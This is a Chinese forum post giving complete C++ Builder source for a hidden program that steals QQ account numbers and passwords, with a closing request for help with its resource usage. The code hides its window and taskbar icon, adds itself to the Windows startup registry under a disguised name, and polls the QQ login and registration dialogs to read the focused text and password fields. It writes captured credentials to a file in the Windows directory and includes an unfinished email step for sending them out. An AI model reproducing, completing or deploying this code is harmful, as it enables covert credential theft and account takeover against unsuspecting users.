作者:gzc (编程工具何其多,我却偏爱BCB)
// 头文件q.h
//---------------------------------------------------------------------------
#ifndef qH
#define qH
//---------------------------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include
#include
#include
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TTimer *Timer1;
TLabel *Label1;
TLabel *Label3;
TBitBtn *BitBtn1;
TLabel *Label5;
TLabel *Label6;
TEdit *Edit1;
TEdit *Edit2;
TBitBtn *BitBtn2;
TEdit *Edit3;
TEdit *Edit4;
TBevel *Bevel1;
TMemo *Memo1;
TNMSMTP *NMSMTP1;
void __fastcall Timer1Timer(TObject *Sender);
void __fastcall FormCreate(TObject *Sender);
void __fastcall BitBtn1Click(TObject *Sender);
void __fastcall FormShow(TObject *Sender);
void __fastcall BitBtn2Click(TObject *Sender);
void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
void __fastcall TForm1::GetEditText(void); //自定义的函数
void __fastcall TForm1::WriteFile(void); //自定义的函数
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
//***************************************************************************
//***************************************************************************
// 头文件q1.h
//---------------------------------------------------------------------------
#include
#pragma hdrstop
USERES("q1.res");
USEFORM("q.cpp", Form1);
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
Application->Initialize();
Application->CreateForm(__classid(TForm1), &Form1);
Application->ShowMainForm = false; //隐藏窗体
ShowWindow(Application->Handle, SW_HIDE);//隐藏任务栏图标
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
//---------------------------------------------------------------------------
//***************************************************************************
//***************************************************************************
// 程序清单q.cpp
//---------------------------------------------------------------------------
#include
#pragma hdrstop
#include "q.h"
#include
#include
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
int HelpMode=0; //设置帮助显示或关闭
MSG *Msg=new MSG(); //定义消息指针
char WINDIR[MAX_PATH]; //定义Windows目录
int Count; //获取的QQ号码个数
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
WaitMessage(); //等待消息
if(PeekMessage(Msg,Application->Handle,WM_HOTKEY,WM_HOTKEY,PM_REMOVE))
{ //若获取了热键消息
if(Msg->wParam==0x1000) //若是Ctrl+Alt+Q热键则退出
{
delete Msg;
UnregisterHotKey(Handle,0x1000); //注销热键
UnregisterHotKey(Handle,0x1001);
Application->Terminate();
}
else if(Msg->wParam==0x1001) //若是Ctrl+Alt+P热键则显示主窗体
{
ShowWindow(Application->Handle,SW_SHOW);
Application->MainForm->Visible=true;
}
}
else GetEditText(); //通过时钟不断检测Edit框中的字符
}
//---------------------------------------------------------------------------
bool IsEdit(HWND hwnd) //判断焦点是否在Edit框中
{
char classname[20];
if(!GetClassName(hwnd,classname,20)||strcmp("Edit",classname)!=0) return false;
else return true;
}
//---------------------------------------------------------------------------
bool IsPasswordEdit(HWND hwnd) //判断焦点是否具有密码输入风格
{
char classname[20];
DWORD dwStyle=GetWindowLong(hwnd,GWL_STYLE);
if((dwStyle&ES_PASSWORD)==0) return false;
else return true;
}
//---------------------------------------------------------------------------
bool IsComboBox(HWND hwnd) //判断焦点是否在ComboBox框中
{
char classname[20];
if(!GetClassName(hwnd,classname,20)||strcmp("ComboBox",classname)!=0) return false;
else return true;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::WriteFile(void) //把获取的信息写入文件
{
FILE *fp1,*fp2;
AnsiString text,textfile,inifile;
Count+=1;
text=Label1->Caption+Edit3->Text+" "+Label3->Caption+Edit4->Text;
textfile=AnsiString(WINDIR)+"//result.txt";
fp1=fopen(textfile.c_str(),"a+");
fprintf(fp1,"%s/n",text.c_str());
fclose(fp1);
inifile=AnsiString(WINDIR)+"//result.ini";
fp2=fopen(inifile.c_str(),"w");
fprintf(fp2,"%d/n",Count);
fclose(fp2);
if(Count>=Edit2->Text.ToInt()) //如果获取的QQ号码数超过设定数,那么发送邮件
{
//这段发送E-mail的代码有待于研究
}
Edit3->Clear();Edit4->Clear(); //清除Edit中的文本,防止QQ主窗体为焦点窗体时重复写文件
}
//---------------------------------------------------------------------------
void __fastcall TForm1::GetEditText(void)
{
char str[255],Title[50],Button[20];
HWND hwndFore,hwndFocus;
DWORD dwThreadId;
hwndFore=GetForegroundWindow(); //获取前台工作窗口的句柄
dwThreadId=GetWindowThreadProcessId(hwndFore,0); //获取前台工作窗口所属线程的标识
AttachThreadInput(GetCurrentThreadId(),dwThreadId,true); //获取对象线程的有输入焦点窗口
hwndFocus=GetFocus(); //获取有输入焦点窗口的句柄
GetWindowText(hwndFore,Title,255); //获取具有焦点的主窗口的标题
//*******************************************************************************************
if(strcmp("QQ用户登录",Title)==0)
{
if(IsComboBox(hwndFocus)) //如果焦点是ComboBox框,那么获取ComboBox框中的文本并显示在Edit3中。
{
SendMessage(hwndFocus,WM_GETTEXT,255,(long)str);
Edit3->Text=str;
}
if(IsEdit(hwndFocus)) //如果焦点是Edit框,那么获取Edit框中的文本并显示在Edit4中。
{
SendMessage(hwndFocus,WM_GETTEXT,255,(long)str);
Edit4->Text=str;
}
}
//*******************************************************************************************
else if(strcmp("QQ 注册向导",Title)==0)
{
if(IsEdit(hwndFocus)) //如果焦点是Edit框。
{
if(IsPasswordEdit(hwndFocus)) //如果Edit框具有密码输入风格,那么获取Edit框中的文本并显示在Edit4中。
{
SendMessage(hwndFocus,WM_GETTEXT,255,(long)str);
Edit4->Text=str;
}
else // 否则获取Edit框中的文本并显示在Edit3中
{
SendMessage(hwndFocus,WM_GETTEXT,255,(long)str);
Edit3->Text=str;
}
}
}
//*******************************************************************************************
GetWindowText(hwndFore,Title,255); //再次获取焦点窗口的标题,判断是否成功登录
if((strcmp(Edit3->Text.c_str(),Title)==0)&&Edit3->Text!=""&&Edit4->Text!="")
WriteFile(); //如果密码有效,用户登录成功则把号码和密码写到文件,并将Count写入ini文件中
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
FILE *fp;
AnsiString inifile,exefile;
GetWindowsDirectory(WINDIR,MAX_PATH); //获取Windows系统目录,以便把result.???文件写在系统目录下
exefile=ParamStr(0); //获取程序全名(包括路径)
TRegistry *pReg=new TRegistry(); //写注册表,让程序每次自动随Windows而启动
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("software//Microsoft//Windows//CurrentVersion//Run",false);
pReg->WriteString("syspower",exefile);
pReg->CloseKey();
delete pReg;
inifile=AnsiString(WINDIR)+"//result.ini"; //程序启动时从ini文件中读取已经获得的QQ个数
fp=fopen(inifile.c_str(),"r");
if(fp!=NULL) fscanf(fp,"%d/n",&Count);
else Count=0;
fclose(fp);
//注册系统热键
RegisterHotKey(Application->Handle,0x1000,MOD_CONTROL+MOD_ALT,'Q');
RegisterHotKey(Application->Handle,0x1001,MOD_CONTROL+MOD_ALT,'P');
}
//---------------------------------------------------------------------------
void __fastcall TForm1::BitBtn1Click(TObject *Sender)
{ //隐藏主窗体
ShowWindow(Application->Handle, SW_HIDE);
Application->MainForm->Visible = false;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::BitBtn2Click(TObject *Sender)
{ //帮助信息的显示与关闭
HelpMode+=1;
if(HelpMode%2==1)Form1->Height=244;
if(HelpMode%2==0)Form1->Height=123;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormShow(TObject *Sender)
{ //初始化窗体
HelpMode=0;
Form1->Left=0;
Form1->Top=0;
Form1->Height=123;
BitBtn1->SetFocus();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
delete Msg;
UnregisterHotKey(Handle,0x1000); //注销热键
UnregisterHotKey(Handle,0x1001);
}
//---------------------------------------------------------------------------
另外还要请教大家一个问题,当我的程序在后台运行后,容易造成系统资源不足,会不会是Timer的时间设置问题??我设置的是150,因为我是实时监测活动窗口的,没有用HOOK,所以我有时也很费解,希望各位高手解惑!
Form上有4个Label,4个Edit。
Label1->Caption="QQ号码:”
Label2->Caption="QQ密码:”
Label3->Caption="E-mail:”
Label4->Caption="设置号码发送间隔:”
Edit1用来输入要发送到的E-mail
Edit2用来输入设置号码发送间隔
Edit3用来保存QQ号码
Edit4用来保存QQ密码
另外还有一个Timer、NMSMTP。